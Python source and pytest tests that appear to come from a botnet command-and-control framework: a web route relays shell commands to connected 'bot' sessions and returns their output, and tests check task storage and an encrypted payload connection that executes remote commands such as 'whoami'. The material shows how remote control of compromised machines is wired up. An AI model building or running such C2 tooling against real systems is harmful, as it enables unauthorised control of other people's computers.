def session_cmd():
"""Send commands to clients and return the response."""
session_uid = request.form.get('session_uid')
# validate session id is valid integer
if not session_uid:
flash("Invalid bot UID: " + str(session_uid))
return redirect(url_for('sessions'))
command = request.form.get('cmd')
# get user sessions
owner_sessions = c2.sessions.get(current_user.username, {})
if session_uid in owner_sessions:
session_thread = owner_sessions[session_uid]
# store issued task in database
task = task_dao.handle_task({
'task': command,
'session': session_thread.info.get('uid')
})
# send task and get response
session_thread.send_task(task)
response = session_thread.recv_task()
# update task record with result in database
result = task_dao.handle_task(response)
return str(result['result']).encode()
else:
return "Bot " + str(session_uid) + " is offline or does not exist."
def test_handle_completed_task(new_session):
"""
Given a session,
when the task_dao.handle_task method is called for a completed task,
ensure the existing task metadata is updated correctly in the database.
"""
# issue test task
input_task_dict = {
"session": new_session.uid,
"task": "whoami"
}
output_task_dict = task_dao.handle_task(input_task_dict)
# complete test task
output_task_dict['result'] = 'test_result'
try:
completed_task_dict = task_dao.handle_task(output_task_dict)
except Exception as e:
pytest.fail("dao.handle_task exception handling completed task: " + str(e))
# run tests
assert 'uid' in completed_task_dict
task = task_dao.get_task(output_task_dict['uid'])
assert task.result == 'test_result'
assert task.completed is not None
assert (datetime.utcnow() - task.completed).seconds <= 5
def test_handle_task(app_client, new_session):
"""
Given a session,
when the task_dao.handle_task method is called from a session,
check the new task is issued a UID, an issued timestamp,
and the metadata is stored in the database correctly.
"""
# 1. test new task
input_task_dict = {
"session": new_session.uid,
"task": "whoami",
}
try:
output_task_dict = task_dao.handle_task(input_task_dict)
except Exception as e:
pytest.fail("dao.handle_task exception handling new task: " + str(e))
# run tests
tasks = task_dao.get_session_tasks(new_session.uid)
assert len(tasks) == 1
task = task_dao.get_task(output_task_dict['uid'])
assert len(task.uid) == 32
assert task.session == new_session.uid
assert task.task == 'whoami'
assert (datetime.utcnow() - task.issued).seconds <= 2
def test_handle_invalid_task():
"""
Given a session,
when the task_dao.handle_task method is called with an invalid task,
check that there is no exception and it is handled gracefully.
"""
try:
invalid_task_dict = task_dao.handle_task('invalid task - not a dict')
except Exception as e:
pytest.fail("dao.handle_task exception handling invalid task: " + str(e))
assert isinstance(invalid_task_dict, dict)
assert 'result' in invalid_task_dict
assert 'Error' in invalid_task_dict['result']
def test_payload_connection(app_client, new_user):
"""
Given an instance of the C2 socket server and an instance of a dummy payload,
when the payload attempts to connect to the server,
check that a secure connection is established.
This is a multi-step process which involves the following:
1) TCP connection
2) Diffie-Hellman IKE to generate a secure 256 bit symmetric key,
3) Payload sends server info about the client machine
4) Server creates a new session thread to handle the connection with the client,
5) Session metadata is stored the database
6) Client/server can now send AES-256-CBC encrypted messages over the network
"""
# attempt connection
try:
payload = dummy_payload_for_testing.Payload(host='0.0.0.0',
port='1337',
gui='1',
owner=new_user.username)
payload_process = Process(target=payload.run)
payload_process.start()
except Exception as e:
pytest.fail(f"Connection failed: {e}")
# check 256 bit key generated by Diffie-Hellman IKE successfully, matches on client and server
assert payload.key is not None
assert len(payload.key) == 32
# check session thread created correctly
time.sleep(2)
session_threads = c2.sessions.get(new_user.username)
assert session_threads is not None
assert isinstance(session_threads, dict)
assert len(session_threads) == 1
uid = list(session_threads.keys())[0]
session_thread = session_threads[uid]
assert isinstance(session_thread, SessionThread)
# check session metadata stored in database
session_metadata = session_dao.get_session(uid)
assert session_metadata is not None
assert isinstance(session_metadata, Session)
# test send/receive data between client/server
command = 'echo hello world'
try:
# store issued task in database
task = task_dao.handle_task({
'task': command,
'session': session_thread.info.get('uid')
})
# send task and get response
session_thread.send_task(task)
response = session_thread.recv_task()
# update task record with result in database
result_dict = task_dao.handle_task(response)
result = str(result_dict['result']).encode()
# if end-to-end encryption and remote command execution has worked, response will be 'hello world'
assert result == b'hello world\n'
except Exception as e:
pytest.fail(f"Session command raised exception: {e}")
finally:
# kill payload
session_thread.kill()
payload_process.terminate()
